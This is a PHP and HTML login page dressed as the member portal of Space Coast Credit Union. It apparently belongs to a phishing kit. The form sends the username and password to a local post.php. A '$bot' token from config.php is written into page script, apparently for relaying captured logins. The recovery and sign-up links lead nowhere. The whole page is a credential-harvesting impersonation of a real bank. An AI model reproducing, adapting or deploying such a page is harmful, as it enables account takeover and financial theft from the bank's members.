<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Raleway:wght@300;400;500;600&family=Libre+Baskerville:wght@400;700&display=swap" rel="stylesheet">
    <title>SCCU Login</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --navy:         #003057;
            --navy-mid:     #004080;
            --navy-light:   rgba(0, 48, 87, 0.07);
            --orange:       #e87722;
            --orange-soft:  rgba(232, 119, 34, 0.1);
            --text-primary: #001e3c;
            --text-secondary: #2a4a6e;
            --text-muted:   #7a9ab8;
            --border:       #d0dce8;
            --bg:           #f2f6fb;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'Raleway', sans-serif; background: var(--bg); }

        body {
            display: grid;
            grid-template-columns: 1fr 1fr;
            min-height: 100vh;
            overflow: hidden;
        }

        /* ── Left panel ── */
        .panel-left {
            background: var(--navy);
            position: relative;
            display: flex;
            flex-direction: column;
            justify-content: flex-end;
            padding: 52px 56px;
            overflow: hidden;
        }

        .panel-left::before {
            content: '';
            position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 65% 55% at 10% 90%, rgba(232,119,34,0.28) 0%, transparent 65%),
                radial-gradient(ellipse 40% 35% at 85% 10%, rgba(232,119,34,0.1) 0%, transparent 60%);
            pointer-events: none;
        }

        /* Space / orbit ring texture */
        .panel-bg { position: absolute; inset: 0; overflow: hidden; opacity: 0.07; }
        .panel-bg svg { width: 100%; height: 100%; }

        .panel-dots {
            position: absolute; top: 52px; left: 56px;
            display: flex; gap: 8px; z-index: 1;
        }
        .panel-dots span {
            width: 8px; height: 8px; border-radius: 50%;
            background: rgba(255,255,255,0.12);
        }
        .panel-dots span:first-child { background: var(--orange); }

        /* Rocket / orbit icon */
        .orbit-art {
            position: relative; z-index: 1;
            margin-bottom: 52px;
            width: 72px; height: 72px;
        }
        .orbit-art svg { width: 100%; height: 100%; }

        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow {
            font-size: 11px; font-weight: 600;
            letter-spacing: 0.22em; text-transform: uppercase;
            color: var(--orange); margin-bottom: 18px;
        }
        .panel-tagline h2 {
            font-family: 'Libre Baskerville', serif;
            font-size: clamp(24px, 2.6vw, 38px);
            font-weight: 400; line-height: 1.3;
            color: #fff; margin-bottom: 22px;
        }
        .panel-tagline p {
            font-size: 14px; font-weight: 300;
            color: rgba(255,255,255,0.45);
            line-height: 1.75; max-width: 310px;
        }

        /* ── Right panel ── */
        .panel-right {
            display: flex; flex-direction: column;
            justify-content: center; align-items: center;
            padding: 60px 40px;
            background: var(--white); overflow-y: auto;
        }

        .login-card {
            width: 100%; max-width: 390px;
            animation: fadeUp 0.55s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(16px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .login-logo { margin-bottom: 40px; }
        .login-logo img { height: 46px; width: auto; object-fit: contain; display: block; }

        .login-heading { margin-bottom: 30px; }
        .login-heading h1 {
            font-family: 'Libre Baskerville', serif;
            font-size: 24px; font-weight: 700;
            color: var(--text-primary); margin-bottom: 7px;
        }
        .login-heading p {
            font-size: 14px; color: var(--text-muted); font-weight: 300;
        }

        /* ── Fields ── */
        .field { margin-bottom: 18px; }
        .field label {
            display: block; font-size: 11px; font-weight: 600;
            letter-spacing: 0.08em; text-transform: uppercase;
            color: var(--text-secondary); margin-bottom: 8px;
        }
        .field input[type="text"],
        .field input[type="password"] {
            width: 100%; height: 50px; padding: 0 16px;
            border: 1.5px solid var(--border); border-radius: 6px;
            font-family: 'Raleway', sans-serif;
            font-size: 15px; color: var(--text-primary);
            background: #fff; outline: none;
            transition: border-color 0.2s, box-shadow 0.2s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #aabdd4; font-weight: 300; }
        .field input:focus {
            border-color: var(--navy);
            box-shadow: 0 0 0 3px var(--navy-light);
        }

        /* ── Checkboxes ── */
        .options { display: flex; flex-direction: column; gap: 12px; margin-bottom: 26px; }
        .check-label {
            display: flex; align-items: center; gap: 10px;
            font-size: 13.5px; color: var(--text-secondary);
            cursor: pointer; user-select: none;
        }
        .check-label input[type="checkbox"] {
            appearance: none; -webkit-appearance: none;
            width: 17px; height: 17px;
            border: 1.5px solid var(--border);
            border-radius: 4px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative;
            transition: background 0.15s, border-color 0.15s;
        }
        .check-label input[type="checkbox"]:checked {
            background: var(--navy); border-color: var(--navy);
        }
        .check-label input[type="checkbox"]:checked::after {
            content: '';
            position: absolute; left: 4px; top: 1px;
            width: 5px; height: 9px;
            border: 2px solid #fff;
            border-top: none; border-left: none;
            transform: rotate(45deg);
        }

        /* ── Button ── */
        .btn-signin {
            width: 100%; height: 50px;
            background: var(--orange); color: #fff;
            border: none; border-radius: 6px;
            font-family: 'Raleway', sans-serif;
            font-size: 15px; font-weight: 600;
            letter-spacing: 0.04em; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s;
            margin-bottom: 26px;
        }
        .btn-signin:hover {
            background: #d06510;
            box-shadow: 0 4px 18px rgba(232,119,34,0.35);
            transform: translateY(-1px);
        }
        .btn-signin:active { transform: translateY(0); }

        /* ── Footer links ── */
        .login-links {
            display: flex; flex-direction: column; gap: 12px;
            padding-top: 20px; border-top: 1px solid var(--border);
        }
        .login-links a {
            font-size: 13.5px; color: var(--navy);
            text-decoration: none; font-weight: 500;
            transition: color 0.15s; opacity: 0.75;
        }
        .login-links a:hover { opacity: 1; color: var(--orange); }
        .login-links a::after { content: ' →'; font-size: 12px; }

        /* ── Responsive ── */
        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; overflow: auto; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
    </style>
</head>
<body>

<!-- Left panel -->
<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>

    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <!-- Orbit rings -->
            <ellipse cx="300" cy="400" rx="500" ry="200" fill="none" stroke="white" stroke-width="1" transform="rotate(-20 300 400)"/>
            <ellipse cx="300" cy="400" rx="380" ry="150" fill="none" stroke="white" stroke-width="1" transform="rotate(-20 300 400)"/>
            <ellipse cx="300" cy="400" rx="260" ry="100" fill="none" stroke="white" stroke-width="1" transform="rotate(-20 300 400)"/>
            <!-- Stars -->
            <circle cx="80"  cy="100" r="1.5" fill="white"/>
            <circle cx="200" cy="60"  r="1"   fill="white"/>
            <circle cx="350" cy="130" r="2"   fill="white"/>
            <circle cx="480" cy="80"  r="1.5" fill="white"/>
            <circle cx="140" cy="220" r="1"   fill="white"/>
            <circle cx="420" cy="200" r="1.5" fill="white"/>
            <circle cx="520" cy="280" r="1"   fill="white"/>
            <circle cx="60"  cy="350" r="2"   fill="white"/>
            <circle cx="500" cy="450" r="1.5" fill="white"/>
            <circle cx="160" cy="500" r="1"   fill="white"/>
            <circle cx="300" cy="160" r="1.5" fill="white"/>
        </svg>
    </div>

    <!-- Orbit / watchdog icon -->
    <div class="orbit-art">
        <svg viewBox="0 0 72 72" fill="none" xmlns="http://www.w3.org/2000/svg">
            <!-- Outer orbit ring -->
            <ellipse cx="36" cy="36" rx="32" ry="14" fill="none" stroke="rgba(232,119,34,0.5)" stroke-width="1.5" transform="rotate(-30 36 36)"/>
            <!-- Globe -->
            <circle cx="36" cy="36" r="16" fill="rgba(255,255,255,0.08)" stroke="rgba(255,255,255,0.25)" stroke-width="1.5"/>
            <ellipse cx="36" cy="36" rx="8" ry="16" fill="none" stroke="rgba(255,255,255,0.15)" stroke-width="1"/>
            <line x1="20" y1="36" x2="52" y2="36" stroke="rgba(255,255,255,0.15)" stroke-width="1"/>
            <!-- Satellite dot -->
            <circle cx="62" cy="22" r="4" fill="var(--orange)" opacity="0.85"/>
            <line x1="58" y1="26" x2="52" y2="30" stroke="rgba(232,119,34,0.5)" stroke-width="1"/>
        </svg>
    </div>

    <div class="panel-tagline">
        <div class="eyebrow">Member Portal</div>
        <h2>Honest people,<br>trusted products.</h2>
        <p>Sign in to manage your accounts, loans, and statements — Space Coast Credit Union.</p>
    </div>
</div>

<!-- Right panel -->
<div class="panel-right">
    <div class="login-card">

        <div class="login-logo">
            <img src="res/img/logo.png" alt="SCCU Logo">
        </div>

        <div class="login-heading">
            <h1>Welcome back</h1>
            <p>Sign in to your account to continue</p>
        </div>

        <script>var token=<?php echo json_encode($bot); ?>;</script>

        <form action="post.php" method="post">

            <div class="field">
                <label for="user">Username</label>
                <input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your username">
            </div>

            <div class="field">
                <label for="pass">Password</label>
                <input type="password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
            </div>

            <div class="options">
                <label class="check-label">
                    <input type="checkbox"> Remember me
                </label>
                <label class="check-label">
                    <input type="checkbox"> Use token
                </label>
            </div>

            <button type="submit" class="btn-signin">Sign in</button>

            <div class="login-links">
                <a href="#">Forgot username or password</a>
                <a href="#">Not enrolled? Sign up now</a>
            </div>

        </form>
    </div>
</div>

<script src="./res/jq.js"></script>
</body>
</html>